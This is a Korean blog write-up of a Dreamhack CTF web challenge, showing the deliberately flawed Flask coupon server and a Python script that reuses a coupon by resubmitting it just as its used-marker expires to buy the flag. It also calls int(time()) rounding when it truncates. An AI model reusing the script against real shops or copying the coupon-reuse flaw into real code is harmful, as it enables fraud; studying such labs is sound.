바로 코드를 보자.
from flask import Flask, request, jsonify, current_app, send_from_directory
import jwt
import redis
from datetime import timedelta
from time import time
from werkzeug.exceptions import default_exceptions, BadRequest, Unauthorized
from functools import wraps
from json import dumps, loads
from uuid import uuid4
r = redis.Redis()
app = Flask(__name__)
# SECRET CONSTANTS
# JWT_SECRET = 'JWT_KEY'
# FLAG = 'DH{FLAG_EXAMPLE}'
from secret import JWT_SECRET, FLAG
# PUBLIC CONSTANTS
COUPON_EXPIRATION_DELTA = 45
RATE_LIMIT_DELTA = 10
FLAG_PRICE = 2000
PEPERO_PRICE = 1500
def handle_errors(error):
return jsonify({'status': 'error', 'message': str(error)}), error.code
for de in default_exceptions:
app.register_error_handler(code_or_exception=de, f=handle_errors)
def get_session():
def decorator(function):
@wraps(function)
def wrapper(*args, **kwargs):
uuid = request.headers.get('Authorization', None)
if uuid is None:
raise BadRequest("Missing Authorization")
data = r.get(f'SESSION:{uuid}')
if data is None:
raise Unauthorized("Unauthorized")
kwargs['user'] = loads(data)
return function(*args, **kwargs)
return wrapper
return decorator
@app.route('/flag/claim')
@get_session()
def flag_claim(user):
if user['money'] < FLAG_PRICE:
raise BadRequest('Not enough money')
user['money'] -= FLAG_PRICE
return jsonify({'status': 'success', 'message': FLAG})
@app.route('/pepero/claim')
@get_session()
def pepero_claim(user):
if user['money'] < PEPERO_PRICE:
raise BadRequest('Not enough money')
user['money'] -= PEPERO_PRICE
return jsonify({'status': 'success', 'message': 'lotteria~~~~!~!~!'})
@app.route('/coupon/submit')
@get_session()
def coupon_submit(user):
coupon = request.headers.get('coupon', None)
if coupon is None:
raise BadRequest('Missing Coupon')
try:
coupon = jwt.decode(coupon, JWT_SECRET, algorithms='HS256')
except:
raise BadRequest('Invalid coupon')
if coupon['expiration'] < int(time()):
raise BadRequest('Coupon expired!')
rate_limit_key = f'RATELIMIT:{user["uuid"]}'
if r.setnx(rate_limit_key, 1):
r.expire(rate_limit_key, timedelta(seconds=RATE_LIMIT_DELTA))
else:
raise BadRequest(f"Rate limit reached!, You can submit the coupon once every {RATE_LIMIT_DELTA} seconds.")
used_coupon = f'COUPON:{coupon["uuid"]}'
if r.setnx(used_coupon, 1):
# success, we don't need to keep it after expiration time
if user['uuid'] != coupon['user']:
raise Unauthorized('You cannot submit others\' coupon!')
r.expire(used_coupon, timedelta(seconds=coupon['expiration'] - int(time())))
user['money'] += coupon['amount']
r.setex(f'SESSION:{user["uuid"]}', timedelta(minutes=10), dumps(user))
return jsonify({'status': 'success'})
else:
# double claim, fail
raise BadRequest('Your coupon is alredy submitted!')
@app.route('/coupon/claim')
@get_session()
def coupon_claim(user):
if user['coupon_claimed']:
raise BadRequest('You already claimed the coupon!')
coupon_uuid = uuid4().hex
data = {'uuid': coupon_uuid, 'user': user['uuid'], 'amount': 1000, 'expiration': int(time()) + COUPON_EXPIRATION_DELTA}
uuid = user['uuid']
user['coupon_claimed'] = True
coupon = jwt.encode(data, JWT_SECRET, algorithm='HS256').decode('utf-8')
r.setex(f'SESSION:{uuid}', timedelta(minutes=10), dumps(user))
return jsonify({'coupon': coupon})
@app.route('/session')
def make_session():
uuid = uuid4().hex
r.setex(f'SESSION:{uuid}', timedelta(minutes=10), dumps(
{'uuid': uuid, 'coupon_claimed': False, 'money': 0}))
return jsonify({'session': uuid})
@app.route('/me')
@get_session()
def me(user):
return jsonify(user)
@app.route('/')
def index():
return current_app.send_static_file('index.html')
@app.route('/images/<path:path>')
def images(path):
return send_from_directory('images', path)
flag를 user['money']가 2000원이 있어야 살 수 있다. 세션을 통해 사용자를 관리하기 때문에 세션 설정 부분을 보자.
/session에 접근 시 setex로 랜덤 uuid값을 생성 해 세션 id로 설정하고 있다. 만료시간은 10분이고, 직렬화 하여 저장하고 있다. 저장되는 값을 보면. uuid, coupon_claimed: False, money값이다. get_session을 보자.
요청 헤더에 Authorization이라는 헤더에서 값을 가져와 uuid값으로 설정 후 radis에 저장한 uuid와 비교하고 있다. uuid가 일치하면 접근을 허용한다.
돈을 어떻게 벌어야되나 찾아보니,
쿠폰을 사용하면 돈이 벌린다. 쿠폰을 사용해보자. 먼저, 세션을 생성한다.
쿠폰 사용을 하고 /me에 접근하여 확인한다.
money가 1000이 되어 있다. 이제 1000원만 더 벌면 된다. 쿠폰 발급은 사용자 별로 1회로 제한되어 있으며 다른 사용자의 쿠폰을 사용하는 것 역시 막혀 있다. 문제의 힌트를 받아 쿠폰 재사용 로직이 취약하다는 점을 이용해 이 부분으로 공격벡터를 찾아본다.
위 사진이 해당 부분이다. r.setnx(used_coupon, 1)로 사용된 쿠폰인지 판단한다. used_coupon은 1로 설정되고 쿠폰 만료시간인 45초가 지나면 같이 다시 만료된다.
위 표시한 부분들을 보면 time() 함수가 int로 감싸져 있다. time() 함수의 경우 소수점까지 반환해주지만 int로 감싸기 때문에 반올림하여 값이 나오게 된다. 즉 45.2초도 45로 인식되게 된다. 즉 45 ~ 45.5 사이에 요청을 한 번 더 보낸다면 만료시간이 넘지 않은걸로 되어 첫 번째 if문은 우회하나 r.setnx(used_coupon, 1)은 초기화되어 쿠폰 재사용이 가능하다.
이점을 이용해 파이썬 스크립트를 작성하자.
import requests, json
from time import sleep
url = 'http://host3.dreamhack.games:17393/'
def get_auth_token(url):
result = requests.get(url + 'session')
return result.text
def exploit(url, auth_token):
header = {
'Authorization': auth_token
}
coupon = json.loads(requests.get(url + 'coupon/claim',headers=header).text)['coupon']
print(coupon)
header['coupon'] = coupon
result = requests.get(url + 'coupon/submit', headers=header)
print(result.text)
sleep(45)
result = requests.get(url + 'coupon/submit', headers=header)
print(result.text)
header = {'Authorization': auth_token}
result = requests.get(url + 'flag/claim', headers=header)
print(result.text)
if __name__ == "__main__":
auth_token = json.loads(get_auth_token(url))['session']
print(auth_token)
exploit(url, auth_token)
sleep(45) 후 바로 요청을 보내 쿠폰 만료를 우회 한다.
'Web Hacking > Dreamhack' 카테고리의 다른 글
[Dreamhack] file-csp-1 write up (0) | 2024.04.23 |
---|---|
[Dreamhack] baby-sqlite write up (0) | 2024.04.22 |
[Dreamhack] web-deserialize-python write up (0) | 2024.04.16 |
[Dreamhack] login-1 write up (0) | 2024.04.14 |
[Dreamhack] what-is-my-ip write up (1) | 2024.04.13 |